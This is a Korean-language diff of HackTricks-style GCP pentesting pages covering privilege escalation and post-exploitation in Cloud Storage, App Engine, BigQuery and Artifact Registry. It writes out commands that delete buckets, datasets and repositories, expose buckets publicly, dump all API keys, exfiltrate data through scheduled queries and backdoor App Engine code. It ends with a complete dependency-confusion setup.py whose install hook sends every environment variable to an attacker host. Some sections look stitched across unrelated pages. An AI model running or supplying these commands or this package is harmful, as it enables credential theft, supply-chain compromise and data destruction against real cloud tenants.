외부 사용자(GCP에 로그인했든 아니든)에게 버킷 콘텐츠에 대한 접근을 허용할 수 있습니다. 그러나 기본적으로 버킷은 공개 노출 옵션이 비활성화되어 있습니다:
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -29,10 +25,61 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
</details>
|
||||
ACLs가 비활성화된 버킷에 **ACLs를 부여하려고 하면** 다음과 같은 오류가 나타납니다: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
만약 **비활성화된 ACLs가 설정된 bucket에 ACLs를 부여하려고 하면** 다음 오류가 발생합니다: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
브라우저에서 공개된 버킷에 접근하려면 URL `https://<bucket_name>.storage.googleapis.com/` 또는 `https://<bucket_name>.storage.googleapis.com/<object_name>` 에 접속하세요
|
||||
|
||||
브라우저에서 공개된 bucket에 접근하려면 다음 URL에 접속하세요: `https://<bucket_name>.storage.googleapis.com/` 또는 `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
### `storage.objects.delete` (`storage.objects.get`)
|
||||
|
||||
객체를 삭제하려면:
|
||||
```bash
|
||||
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
|
||||
|
||||
버킷을 삭제하려면:
|
||||
```bash
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
```
|
||||
### HMAC Keys 비활성화
|
||||
|
||||
권한 `storage.hmacKeys.update`는 HMAC Keys를 비활성화할 수 있게 해주며, 권한 `storage.hmacKeys.delete`는 Cloud Storage에 있는 서비스 계정과 연결된 HMAC Keys를 삭제할 수 있게 합니다.
|
||||
```bash
|
||||
# Deactivate
|
||||
gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
|
||||
# Delete
|
||||
gcloud storage hmac delete <ACCESS_ID>
|
||||
```
|
||||
### `storage.buckets.setIpFilter` & `storage.buckets.update`
|
||||
|
||||
권한 `storage.buckets.setIpFilter`는 `storage.buckets.update` 권한과 함께 주체가 Cloud Storage 버킷의 IP 주소 필터를 구성할 수 있게 하며, 버킷 리소스에 접근을 허용할 IP 범위나 주소를 지정할 수 있습니다.
|
||||
|
||||
IP 필터를 완전히 제거하려면 다음 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
필터링된 IP를 변경하려면 다음 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> \
|
||||
--ip-filter-file=ip-filter.json \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
JSON 파일은 필터 자체를 나타내며, 다음과 같습니다:
|
||||
```bash
|
||||
{
|
||||
"mode": "Enabled",
|
||||
"publicNetworkSource": {
|
||||
"allowedIpCidrRanges": ["<IP>/<MASK>"]
|
||||
},
|
||||
"allowCrossOrgVpcs": false,
|
||||
"allowAllServiceAgentAccess": false
|
||||
}
|
||||
```
|
||||
### `storage.buckets.restore`
|
||||
버킷을 복원하려면 다음을 사용하세요:
|
||||
```bash
|
||||
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,87 +1,139 @@
|
||||
# GCP - Apikeys Privesc
|
||||
# GCP - AppEngine Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apikeys
|
||||
## App Engine
|
||||
|
||||
다음 권한들은 API 키를 생성하고 탈취하는 데 유용합니다. 문서에서의 설명을 참고하세요: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
따라서 API 키로는 해당 회사에 API 사용 비용을 부담시키게 할 수는 있지만, 권한 상승(privesc)은 불가능합니다.
|
||||
|
||||
For more information about API Keys check:
|
||||
App Engine에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to create API keys check:
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
이는 **`gcloud` cli를 사용해 App을 배포**하기 위한 필요한 권한들입니다. 아마도 **`get`** 및 **`list`** 권한은 **생략(피할)** 수 있을지도 모릅니다.
|
||||
|
||||
파이썬 코드 예제는 https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine 에서 찾을 수 있습니다.
|
||||
|
||||
기본적으로 App 서비스의 이름은 **`default`**가 되며, 동일한 이름을 가진 인스턴스는 하나만 존재할 수 있습니다.\
|
||||
두 번째 App을 생성하려면 **`app.yaml`**에서 루트 키의 값을 **`service: my-second-app`**처럼 변경하세요.
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
최소 10~15분은 기다리세요. 작동하지 않으면 **deploy another of times**를 호출하고 몇 분 더 기다리세요.
|
||||
|
||||
> [!NOTE]
|
||||
> **사용할 Service Account를 지정하는 것이 가능합니다**, 하지만 기본적으로는 App Engine default SA가 사용됩니다.
|
||||
|
||||
애플리케이션의 URL은 `https://<proj-name>.oa.r.appspot.com/` 또는 `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`와 같습니다.
|
||||
|
||||
### 동등한 권한으로 업데이트
|
||||
|
||||
새 AppEngine을 생성할 권한은 없지만 기존 AppEngine을 업데이트할 권한은 있을 수 있습니다. 그런 경우 현재 AppEngine을 업데이트하는 방법은 다음과 같습니다:
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
|
||||
# Download code
|
||||
mkdir /tmp/appengine2
|
||||
cd /tmp/appengine2
|
||||
## In this case it was found in this custom bucket but you could also use the
|
||||
## buckets generated when the App Engine is created
|
||||
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
|
||||
unzip labs_appengine_1_premissions_privesc.zip
|
||||
|
||||
## Now modify the code..
|
||||
|
||||
## If you don't have an app.yaml, create one like:
|
||||
cat >> app.yaml <<EOF
|
||||
runtime: python312
|
||||
|
||||
entrypoint: gunicorn -b :\$PORT main:app
|
||||
|
||||
env_variables:
|
||||
A_VARIABLE: "value"
|
||||
EOF
|
||||
|
||||
# Deploy the changes
|
||||
gcloud app deploy
|
||||
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
**이미 AppEngine을 장악했고** 사용할 서비스 계정에 대해 **`appengine.applications.update`** 권한과 **actAs** 권한이 있다면, AppEngine에서 사용하는 서비스 계정을 다음과 같이 수정할 수 있습니다:
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
이 권한들로, 유형이 **flexible**(표준이 아님)인 App Engine 인스턴스에 ssh로 로그인할 수 있습니다. 일부의 **`list`** 및 **`get`** 권한은 실제로 필요하지 않을 수 있습니다.
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
이 권한은 google이 애플리케이션을 설정할 때 사용할 백그라운드 SA를 변경하는 것뿐이라, 이를 악용해 service account를 탈취할 수는 없을 것 같습니다.
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
이 권한들을 어떻게 사용해야 하는지, 또는 유용한지 확실하지 않습니다 (코드를 변경하면 새 버전이 생성되므로 코드만 업데이트하거나 그 버전의 IAM role을 바로 변경할 수 있는지 잘 모르겠습니다. 하지만 가능할 것 같고, 아마 bucket 내부의 코드를 변경하는 방식일까요??).
|
||||
|
||||
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
|
||||
|
||||
테이블, dataset 또는 모델을 제거하려면:
|
||||
```bash
|
||||
# Table removal
|
||||
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
|
||||
|
||||
# Dataset removal
|
||||
bq rm -r -f <PROJECT_ID>:<DATASET>
|
||||
|
||||
# Model removal
|
||||
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
|
||||
```
|
||||
### Scheduled Queries 악용
|
||||
|
||||
With the `bigquery.datasets.get`, `bigquery.jobs.create`, and `iam.serviceAccounts.actAs` permissions, an identity can query dataset metadata, launch BigQuery jobs, and execute them using a Service Account with higher privileges.
|
||||
|
||||
이 공격은 악성으로 Scheduled Queries를 이용해 쿼리를 자동화(선택한 Service Account로 실행되며), 예를 들어 공격자가 접근 가능한 다른 테이블이나 데이터셋으로 민감한 데이터를 읽어 쓰게 할 수 있습니다 — 외부로 데이터를 직접 추출할 필요 없이 간접적이고 지속적인 exfiltration을 가능하게 합니다.
|
||||
|
||||
공격자가 원하는 쿼리를 실행할 수 있는 권한이 있는 Service Account를 파악하면, 해당 Service Account로 실행되도록 Scheduled Query 구성을 만들어 결과를 주기적으로 공격자가 선택한 데이터셋에 기록하도록 할 수 있습니다.
|
||||
```bash
|
||||
bq mk \
|
||||
--transfer_config \
|
||||
--project_id=<PROJECT_ID> \
|
||||
--location=US \
|
||||
--data_source=scheduled_query \
|
||||
--target_dataset=<DEST_DATASET> \
|
||||
--display_name="Generic Scheduled Query" \
|
||||
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--schedule="every 10 minutes" \
|
||||
--params='{
|
||||
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
|
||||
"destination_table_name_template": "<destination_table>",
|
||||
"write_disposition": "WRITE_TRUNCATE"
|
||||
}'
|
||||
|
||||
```
|
||||
### buckets에 대한 쓰기 권한
|
||||
|
||||
앞서 언급한 것처럼 appengine 버전은 `staging.<project-id>.appspot.com` 형식의 이름을 가진 bucket 내부에 일부 데이터를 생성합니다. GCP 사용자는 `appspot.com` 도메인을 사용해 버킷을 생성할 권한이 없으므로 이 버킷을 사전에 탈취(pre-takeover)하는 것은 불가능합니다.
|
||||
|
||||
그러나 이 bucket에 대한 읽기 & 쓰기 권한이 있으면, 해당 bucket을 모니터링하여 변경이 발생할 때마다 가능한 한 빠르게 코드를 수정함으로써 AppEngine 버전에 연결된 SA로 권한 상승이 가능합니다. 이렇게 하면 이 코드로 생성되는 컨테이너가 **execute the backdoored code**.
|
||||
|
||||
자세한 정보와 **PoC는 이 페이지의 관련 정보를 확인하세요**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
### Artifact Registry에 대한 쓰기 권한
|
||||
|
||||
프로젝트에서 어떤 API가 활성화되어 있는지 또는 찾은 API 키에 적용된 제약을 모를 수 있으므로, 도구 [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner)를 실행해 **API 키로 무엇에 접근할 수 있는지** 확인하는 것이 좋습니다.
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
이 권한은 **API 키를 생성**할 수 있도록 허용합니다:
|
||||
|
||||
<details>
|
||||
<summary>gcloud를 사용해 API 키 생성</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
vuln 환경의 생성, exploit 및 정리 자동화를 위한 스크립트는 [**여기**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh)에서 확인할 수 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 기본적으로 사용자는 새 프로젝트를 생성할 권한이 있으며 새 프로젝트에 대해 Owner role이 부여됩니다. 따라서 사용자는 **프로젝트를 생성하고 이 프로젝트 안에 API key를 만들 수 있습니다**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
이 권한들은 **apiKeys를 나열하고 모두 가져오며 Key를 얻을 수 있게 합니다**:
|
||||
|
||||
<details>
|
||||
<summary>모든 API keys 나열 및 가져오기</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
</details>
|
||||
|
||||
vuln 환경의 생성, exploit 및 정리 자동화를 위한 스크립트는 [**여기**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh)에서 확인할 수 있습니다.
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
이 권한들은 **삭제된 API 키를 나열하고 재생성할 수 있게 합니다**. **undelete**가 수행된 후 출력에 **API key**가 제공됩니다:
|
||||
|
||||
<details>
|
||||
<summary>API 키 나열 및 undelete</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
</details>
|
||||
|
||||
### 다른 직원들을 phish하기 위한 Internal OAuth 애플리케이션 생성
|
||||
|
||||
방법은 다음 페이지를 확인하세요. 다만 이 작업은 [문서에 따르면](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin) 서비스 **`clientauthconfig`**에 속합니다:
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
App Engine가 Artifact Registry 내부에 docker images를 생성하긴 하지만, 테스트 결과 **even if you modify the image inside this service** 그리고 App Engine 인스턴스를 제거(새 인스턴스가 배포됨)해도 **code executed doesn't change**.\
|
||||
버킷과 마찬가지로 **Race Condition attack like with the buckets it might be possible to overwrite the executed code**를 수행하면 실행되는 코드를 덮어쓸 수 있을 가능성이 있지만, 이는 테스트되지 않았습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
Artifact Registry에 대한 자세한 내용은 다음을 확인하세요:
|
||||
Artifact Registry에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,10 +12,10 @@ Artifact Registry에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
이 권한이 있으면 공격자는 Docker images와 같은 악성 코드가 포함된 아티팩트의 새 버전을 업로드할 수 있습니다:
|
||||
이 권한을 가진 공격자는 Docker images와 같은 악성 코드를 포함한 아티팩트의 새 버전을 업로드할 수 있습니다:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry에 Docker image 업로드</summary>
|
||||
<summary>Upload Docker image to Artifact Registry</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -29,22 +29,22 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 이미 존재하는 것과 동일한 이름과 tag를 가진 새로운 악성 docker 이미지를 업로드할 수 있음이 확인되었습니다. 따라서 기존 이미지는 tag를 잃게 되며 다음에 해당 tag로 이미지를 다운로드할 때 악성 이미지가 다운로드됩니다.
|
||||
> 기존에 존재하는 것과 동일한 이름과 태그로 **새로운 악성 docker 이미지를 업로드하는 것이 가능**하다는 점이 확인되었으므로, **기존 이미지는 태그를 잃게** 되고 다음 번에 해당 태그의 이미지를 **다운로드하면 악성 이미지가 다운로드됩니다**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Python 라이브러리 업로드</summary>
|
||||
|
||||
**업로드할 라이브러리를 생성하는 것으로 시작합니다** (레지스트리에서 최신 버전을 다운로드할 수 있다면 이 단계를 건너뛸 수 있습니다):
|
||||
**업로드할 라이브러리 생성으로 시작합니다** (레지스트리에서 최신 버전을 다운로드할 수 있다면 이 단계는 건너뛸 수 있습니다):
|
||||
|
||||
1. **프로젝트 구조 설정**:
|
||||
|
||||
- 라이브러리를 위한 새 디렉터리를 생성합니다(예: `hello_world_library`).
|
||||
- 이 디렉터리 안에 패키지 이름으로 또 다른 디렉터리를 생성합니다(예: `hello_world`).
|
||||
- 패키지 디렉터리 안에 `__init__.py` 파일을 생성합니다. 이 파일은 비워두거나 패키지 초기화 코드를 포함할 수 있습니다.
|
||||
- 라이브러리용 새 디렉터리를 생성합니다(예: `hello_world_library`).
|
||||
- 이 디렉터리 안에 패키지 이름으로 다른 디렉터리를 생성합니다(예: `hello_world`).
|
||||
- 패키지 디렉터리 내부에 `__init__.py` 파일을 생성합니다. 이 파일은 비어 있어도 되고 패키지 초기화 코드를 포함할 수도 있습니다.
|
||||
|
||||
<details>
|
||||
<summary>프로젝트 구조 생성</summary>
|
||||
<summary>Create project structure</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -61,7 +61,7 @@ touch hello_world/__init__.py
|
||||
- "Hello, World!" 함수를 작성합니다:
|
||||
|
||||
<details>
|
||||
<summary>라이브러리 모듈 생성</summary>
|
||||
<summary>Create library module</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
@@ -74,10 +74,10 @@ return "Hello, World!"
|
||||
3. **`setup.py` 파일 생성**:
|
||||
|
||||
- `hello_world_library` 디렉터리의 루트에 `setup.py` 파일을 생성합니다.
|
||||
- 이 파일은 라이브러리에 대한 메타데이터를 포함하며 Python에 설치 방법을 알려줍니다.
|
||||
- 이 파일은 라이브러리에 대한 메타데이터를 포함하며 Python이 어떻게 설치할지 알려줍니다.
|
||||
|
||||
<details>
|
||||
<summary>setup.py 파일 생성</summary>
|
||||
<summary>Create setup.py file</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -95,14 +95,14 @@ install_requires=[
|
||||
|
||||
</details>
|
||||
|
||||
**이제 라이브러리를 업로드합니다:**
|
||||
**이제 라이브러리를 업로드합시다:**
|
||||
|
||||
1. **패키지 빌드**:
|
||||
|
||||
- `hello_world_library` 디렉터리의 루트에서 다음을 실행합니다:
|
||||
|
||||
<details>
|
||||
<summary>Python 패키지 빌드</summary>
|
||||
<summary>Build Python package</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
@@ -110,9 +110,9 @@ python3 setup.py sdist bdist_wheel
|
||||
|
||||
</details>
|
||||
|
||||
2. **twine을 위한 인증 구성** (패키지 업로드에 사용):
|
||||
- `twine`이 설치되어 있는지 확인하세요 (`pip install twine`).
|
||||
- 자격 증명 구성을 위해 `gcloud`를 사용하세요:
|
||||
2. **twine 인증 구성** (패키지 업로드에 사용됨):
|
||||
- `twine`이 설치되어 있는지 확인합니다 (`pip install twine`).
|
||||
- 자격증명을 구성하려면 `gcloud`를 사용합니다:
|
||||
|
||||
<details>
|
||||
<summary>twine로 패키지 업로드</summary>
|
||||
@@ -133,7 +133,7 @@ rm -rf dist build hello_world.egg-info
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 이미 존재하는 버전과 동일한 버전의 python 라이브러리를 업로드하는 것은 불가능하지만, **더 높은 버전**을 업로드할 수 있다(또는 버전 끝에 **추가로 `.0`을 붙이는 방법** — 단 python에서는 동작하지 않을 수 있음), 또는 마지막 버전을 **삭제하고 새로운 버전을 업로드**할 수 있다(필요 권한: `artifactregistry.versions.delete`):
|
||||
> 이미 존재하는 것과 동일한 버전의 python 라이브러리를 업로드하는 것은 불가능하지만, **더 높은 버전**을 업로드할 수 있거나(작동한다면 버전 끝에 **`.0`을 추가**), 또는 **마지막 버전을 삭제하고 새 버전을 업로드**할 수 있습니다(필요 권한: `artifactregistry.versions.delete`):
|
||||
>
|
||||
> <details>
|
||||
> <summary>아티팩트 버전 삭제</summary>
|
||||
@@ -146,9 +146,9 @@ rm -rf dist build hello_world.egg-info
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
이 권한으로 **아티팩트 다운로드**가 가능하며 **민감한 정보**와 **취약점**을 검색할 수 있다.
|
||||
이 권한으로 **아티팩트를 다운로드**하고 **민감한 정보**와 **취약점**을 검색할 수 있습니다.
|
||||
|
||||
Docker 이미지를 다운로드:
|
||||
Download a **Docker** image:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry에서 Docker 이미지 다운로드</summary>
|
||||
@@ -161,7 +161,7 @@ docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
Download a **python** library:
|
||||
**python** 라이브러리 다운로드:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry에서 Python 라이브러리 다운로드</summary>
|
||||
@@ -170,7 +170,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
```
|
||||
</details>
|
||||
|
||||
- remote와 standard 레지스트리가 virtual 레지스트리에서 혼합되어 있고 패키지가 둘 다에 존재하면 어떻게 되나요? 이 페이지를 확인하세요:
|
||||
- 원격 레지스트리와 표준 레지스트리가 가상 레지스트리에 혼합되어 있고 패키지가 둘 다에 존재하면 어떤 일이 발생하나요? 이 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -178,7 +178,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
레지스트리에서 docker 이미지와 같은 아티팩트를 삭제합니다:
|
||||
레지스트리에서 docker images 같은 아티팩트를 삭제합니다:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry에서 Docker 이미지 삭제</summary>
|
||||
@@ -190,10 +190,10 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
전체 repository 삭제(내용이 있어도):
|
||||
레포지토리 전체 삭제(내용이 있어도):
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry repository 삭제</summary>
|
||||
<summary>Artifact Registry 리포지토리 삭제</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
@@ -201,17 +201,72 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
이 권한을 가진 공격자는 이전에 언급한 일부 리포지터리 공격을 수행할 수 있는 권한을 자신에게 부여할 수 있습니다.
|
||||
이 권한을 가진 공격자는 앞서 언급한 리포지토리 공격들 중 일부를 수행할 수 있는 권한을 자신에게 부여할 수 있다.
|
||||
|
||||
### Artifact Registry Read & Write를 통해 다른 서비스로 피벗
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Cloud Function이 생성될 때 프로젝트의 Artifact Registry로 새로운 docker image가 푸시됩니다. 이미지를 새 것으로 수정해 보거나 현재 이미지(및 `cache` 이미지)를 삭제해도 아무 변화가 없었고, Cloud Function은 계속 동작했습니다. 따라서 버킷과 같이 실행될 docker 컨테이너를 변경하기 위해 **Race Condition 공격을 악용할 수 있을지도 모릅니다**, 하지만 저장된 이미지를 단순히 수정하는 것만으로는 **Cloud Function을 손상시키는 것은 불가능합니다**.
|
||||
Cloud Function이 생성될 때 새 docker image가 프로젝트의 Artifact Registry로 푸시된다. 나는 이미지를 새 것으로 수정하려 시도했고, 현재 이미지를 삭제(및 `cache` 이미지도)까지 해봤지만 아무런 변화가 없었고, Cloud Function은 계속 작동했다. 따라서, **버킷과 마찬가지로 Race Condition 공격을 악용해 실행될 docker container를 변경할 수 있을지도 모른다**. 그러나 **저장된 이미지를 단순히 수정하는 것으로는 Cloud Function을 손상시키는 것은 불가능하다**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
App Engine이 Artifact Registry 안에 docker image를 생성하더라도, 해당 서비스 내의 이미지를 수정하고 App Engine 인스턴스를 제거(새로 배포되도록)해도 테스트 결과 **실행되는 코드는 변경되지 않았습니다**.\
|
||||
버킷에서와 같이 **Race Condition 공격을 수행하면 실행되는 코드를 덮어쓸 수 있을지도 모릅니다**, 그러나 이는 테스트되지 않았습니다.
|
||||
App Engine이 Artifact Registry 안에 docker images를 생성하긴 하지만, 이 서비스를 내부의 이미지를 수정하고 App Engine 인스턴스를 제거(즉, 새 인스턴스가 배포됨)해도 **이미지 내부를 수정하더라도** 실행되는 **코드는 변경되지 않는 것으로 테스트되었다**.\
|
||||
buckets와 마찬가지로 **Race Condition 공격을 수행하면 실행되는 코드를 덮어쓸 수 있을 가능성은 있지만**, 이는 테스트되지 않았다.
|
||||
|
||||
|
||||
### `artifactregistry.repositories.update`
|
||||
공격자는 이 문제를 악용하기 위해 특정 Artifact Registry 권한이 필요하지 않으며, 오직 취약한 virtual-repository 구성만 있으면 된다. 이 상황은 가상 리포지토리가 원격 public repository(e.g., PyPI, npm)와 내부 리포지토리를 결합하고 원격 소스가 동일하거나 더 높은 우선순위를 가질 때 발생한다. 둘 다 동일한 이름의 패키지를 포함하면 시스템은 가장 높은 버전을 선택한다. 공격자는 내부 패키지 이름을 알고 해당 public registry에 패키지를 퍼블리시할 수 있기만 하면 된다.
|
||||
|
||||
`artifactregistry.repositories.update` 권한이 있으면 공격자는 가상 리포지토리의 upstream 설정을 변경하여 의도적으로 이러한 취약한 구성을 만들고, 개발자나 CI/CD 시스템이 자동으로 설치할 수 있는 악성 패키지를 삽입하여 Dependency Confusion을 지속성 수단으로 사용할 수 있다.
|
||||
|
||||
공격자는 내부 패키지의 악성 버전을 public repository에 더 높은 버전 번호로 생성한다. Python 패키지의 경우, 이는 정품 패키지와 유사한 패키지 구조를 준비하는 것을 의미한다.
|
||||
```bash
|
||||
mkdir /tmp/malicious_package
|
||||
cd /tmp/malicious_package
|
||||
PACKAGE_NAME="<package-name>"
|
||||
mkdir "$PACKAGE_NAME"
|
||||
touch "$PACKAGE_NAME/__init__.py"
|
||||
```
|
||||
그런 다음 설치 중에 실행될 악성 코드를 포함하는 setup.py 파일이 생성됩니다. 이 파일은 private repository에 있는 버전보다 높은 버전 번호를 지정해야 합니다.
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
from setuptools.command.install import install
|
||||
import os
|
||||
import urllib.request
|
||||
import urllib.parse
|
||||
|
||||
def malicious_function():
|
||||
data = dict(os.environ)
|
||||
encoded_data = urllib.parse.urlencode(data).encode()
|
||||
url = 'https://<ip-atacante>/exfil'
|
||||
req = urllib.request.Request(url, data=encoded_data)
|
||||
urllib.request.urlopen(req)
|
||||
|
||||
class AfterInstall(install):
|
||||
def run(self):
|
||||
install.run(self)
|
||||
malicious_function()
|
||||
|
||||
setuptools.setup(
|
||||
name = "<package-name>",
|
||||
version = "0.1.1",
|
||||
packages = ["<package-name>"],
|
||||
cmdclass={'install': AfterInstall},
|
||||
)
|
||||
EOF
|
||||
```
|
||||
패키지를 빌드하고 wheel 파일을 삭제하여 설치 과정에서 코드가 실행되도록 하세요.
|
